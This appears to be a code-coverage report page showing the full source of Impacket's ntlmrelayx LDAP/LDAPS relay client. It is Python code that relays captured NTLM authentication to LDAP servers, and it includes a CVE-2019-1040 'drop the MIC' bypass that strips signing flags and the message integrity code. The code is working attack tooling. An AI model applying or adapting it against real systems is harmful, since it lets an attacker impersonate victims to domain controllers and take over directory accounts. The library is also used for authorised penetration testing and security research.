Coverage for /root/GitHubProjects/impacket/impacket/examples/ntlmrelayx/clients/ldaprelayclient.py : 20%

Hot-keys on this page
r m x p toggle line displays
j k next/prev highlighted chunk
0 (zero) top of page
1 (one) first highlighted chunk
1# Impacket - Collection of Python classes for working with network protocols.
2#
3# SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved.
4#
5# This software is provided under a slightly modified version
6# of the Apache Software License. See the accompanying LICENSE file
7# for more information.
8#
9# Description:
10# LDAP Protocol Client
11# LDAP client for relaying NTLMSSP authentication to LDAP servers
12# The way of using the ldap3 library is quite hacky, but its the best
13# way to make the lib do things it wasn't designed to without touching
14# its code
15#
16# Author:
17# Dirk-jan Mollema / Fox-IT (https://www.fox-it.com)
18# Alberto Solino (@agsolino)
19#
20import sys
21from struct import unpack
22from impacket import LOG
23from ldap3 import Server, Connection, ALL, NTLM, MODIFY_ADD
24from ldap3.operation import bind
25try:
26 from ldap3.core.results import RESULT_SUCCESS, RESULT_STRONGER_AUTH_REQUIRED
27except ImportError:
28 LOG.fatal("ntlmrelayx requires ldap3 > 2.0. To update, use: 'python -m pip install ldap3 --upgrade'")
29 sys.exit(1)
31from impacket.examples.ntlmrelayx.clients import ProtocolClient
32from impacket.nt_errors import STATUS_SUCCESS, STATUS_ACCESS_DENIED
33from impacket.ntlm import NTLMAuthChallenge, NTLMSSP_AV_FLAGS, AV_PAIRS, NTLMAuthNegotiate, NTLMSSP_NEGOTIATE_SIGN, NTLMSSP_NEGOTIATE_ALWAYS_SIGN, NTLMAuthChallengeResponse, NTLMSSP_NEGOTIATE_KEY_EXCH, NTLMSSP_NEGOTIATE_VERSION
34from impacket.spnego import SPNEGO_NegTokenResp
36PROTOCOL_CLIENT_CLASSES = ["LDAPRelayClient", "LDAPSRelayClient"]
38class LDAPRelayClientException(Exception):
39 pass
41class LDAPRelayClient(ProtocolClient):
42 PLUGIN_NAME = "LDAP"
43 MODIFY_ADD = MODIFY_ADD
45 def __init__(self, serverConfig, target, targetPort = 389, extendedSecurity=True ):
46 ProtocolClient.__init__(self, serverConfig, target, targetPort, extendedSecurity)
47 self.extendedSecurity = extendedSecurity
48 self.negotiateMessage = None
49 self.authenticateMessageBlob = None
50 self.server = None
52 def killConnection(self):
53 if self.session is not None:
54 self.session.socket.close()
55 self.session = None
57 def initConnection(self):
58 self.server = Server("ldap://%s:%s" % (self.targetHost, self.targetPort), get_info=ALL)
59 self.session = Connection(self.server, user="a", password="b", authentication=NTLM)
60 self.session.open(False)
61 return True
63 def sendNegotiate(self, negotiateMessage):
64 negoMessage = NTLMAuthNegotiate()
65 negoMessage.fromString(negotiateMessage)
67 # When exploiting CVE-2019-1040, remove message signing flag
68 # For SMB->LDAP this is required otherwise it triggers LDAP signing
69 # Changing flags breaks the signature unless the client uses a non-standard implementation of NTLM
70 if self.serverConfig.remove_mic:
71 if negoMessage['flags'] & NTLMSSP_NEGOTIATE_SIGN == NTLMSSP_NEGOTIATE_SIGN:
72 negoMessage['flags'] ^= NTLMSSP_NEGOTIATE_SIGN
73 if negoMessage['flags'] & NTLMSSP_NEGOTIATE_ALWAYS_SIGN == NTLMSSP_NEGOTIATE_ALWAYS_SIGN:
74 negoMessage['flags'] ^= NTLMSSP_NEGOTIATE_ALWAYS_SIGN
76 self.negotiateMessage = negoMessage.getData()
78 # Warn if the relayed target requests signing, which will break our attack
79 if negoMessage['flags'] & NTLMSSP_NEGOTIATE_SIGN == NTLMSSP_NEGOTIATE_SIGN:
80 LOG.warning('The client requested signing. Relaying to LDAP will not work! (This usually happens when relaying from SMB to LDAP)')
82 with self.session.connection_lock:
83 if not self.session.sasl_in_progress:
84 self.session.sasl_in_progress = True
85 request = bind.bind_operation(self.session.version, 'SICILY_PACKAGE_DISCOVERY')
86 response = self.session.post_send_single_response(self.session.send('bindRequest', request, None))
87 result = response[0]
88 try:
89 sicily_packages = result['server_creds'].decode('ascii').split(';')
90 except KeyError:
91 raise LDAPRelayClientException('Could not discover authentication methods, server replied: %s' % result)
93 if 'NTLM' in sicily_packages: # NTLM available on server
94 request = bind.bind_operation(self.session.version, 'SICILY_NEGOTIATE_NTLM', self)
95 response = self.session.post_send_single_response(self.session.send('bindRequest', request, None))
96 result = response[0]
97 if result['result'] == RESULT_SUCCESS:
98 challenge = NTLMAuthChallenge()
99 challenge.fromString(result['server_creds'])
100 return challenge
101 else:
102 raise LDAPRelayClientException('Server did not offer NTLM authentication!')
104 #This is a fake function for ldap3 which wants an NTLM client with specific methods
105 def create_negotiate_message(self):
106 return self.negotiateMessage
108 def sendAuth(self, authenticateMessageBlob, serverChallenge=None):
109 if unpack('B', authenticateMessageBlob[:1])[0] == SPNEGO_NegTokenResp.SPNEGO_NEG_TOKEN_RESP:
110 respToken2 = SPNEGO_NegTokenResp(authenticateMessageBlob)
111 token = respToken2['ResponseToken']
112 else:
113 token = authenticateMessageBlob
115 authMessage = NTLMAuthChallengeResponse()
116 authMessage.fromString(token)
117 # When exploiting CVE-2019-1040, remove flags
118 if self.serverConfig.remove_mic:
119 if authMessage['flags'] & NTLMSSP_NEGOTIATE_SIGN == NTLMSSP_NEGOTIATE_SIGN:
120 authMessage['flags'] ^= NTLMSSP_NEGOTIATE_SIGN
121 if authMessage['flags'] & NTLMSSP_NEGOTIATE_ALWAYS_SIGN == NTLMSSP_NEGOTIATE_ALWAYS_SIGN:
122 authMessage['flags'] ^= NTLMSSP_NEGOTIATE_ALWAYS_SIGN
123 if authMessage['flags'] & NTLMSSP_NEGOTIATE_KEY_EXCH == NTLMSSP_NEGOTIATE_KEY_EXCH:
124 authMessage['flags'] ^= NTLMSSP_NEGOTIATE_KEY_EXCH
125 if authMessage['flags'] & NTLMSSP_NEGOTIATE_VERSION == NTLMSSP_NEGOTIATE_VERSION:
126 authMessage['flags'] ^= NTLMSSP_NEGOTIATE_VERSION
127 authMessage['MIC'] = b''
128 authMessage['MICLen'] = 0
129 authMessage['Version'] = b''
130 authMessage['VersionLen'] = 0
131 token = authMessage.getData()
133 with self.session.connection_lock:
134 self.authenticateMessageBlob = token
135 request = bind.bind_operation(self.session.version, 'SICILY_RESPONSE_NTLM', self, None)
136 response = self.session.post_send_single_response(self.session.send('bindRequest', request, None))
137 result = response[0]
138 self.session.sasl_in_progress = False
140 if result['result'] == RESULT_SUCCESS:
141 self.session.bound = True
142 self.session.refresh_server_info()
143 return None, STATUS_SUCCESS
144 else:
145 if result['result'] == RESULT_STRONGER_AUTH_REQUIRED and self.PLUGIN_NAME != 'LDAPS':
146 raise LDAPRelayClientException('Server rejected authentication because LDAP signing is enabled. Try connecting with TLS enabled (specify target as ldaps://hostname )')
147 return None, STATUS_ACCESS_DENIED
149 #This is a fake function for ldap3 which wants an NTLM client with specific methods
150 def create_authenticate_message(self):
151 return self.authenticateMessageBlob
153 #Placeholder function for ldap3
154 def parse_challenge_message(self, message):
155 pass
157class LDAPSRelayClient(LDAPRelayClient):
158 PLUGIN_NAME = "LDAPS"
159 MODIFY_ADD = MODIFY_ADD
161 def __init__(self, serverConfig, target, targetPort = 636, extendedSecurity=True ):
162 LDAPRelayClient.__init__(self, serverConfig, target, targetPort, extendedSecurity)
164 def initConnection(self):
165 self.server = Server("ldaps://%s:%s" % (self.targetHost, self.targetPort), get_info=ALL)
166 self.session = Connection(self.server, user="a", password="b", authentication=NTLM)
167 self.session.open(False)
168 return True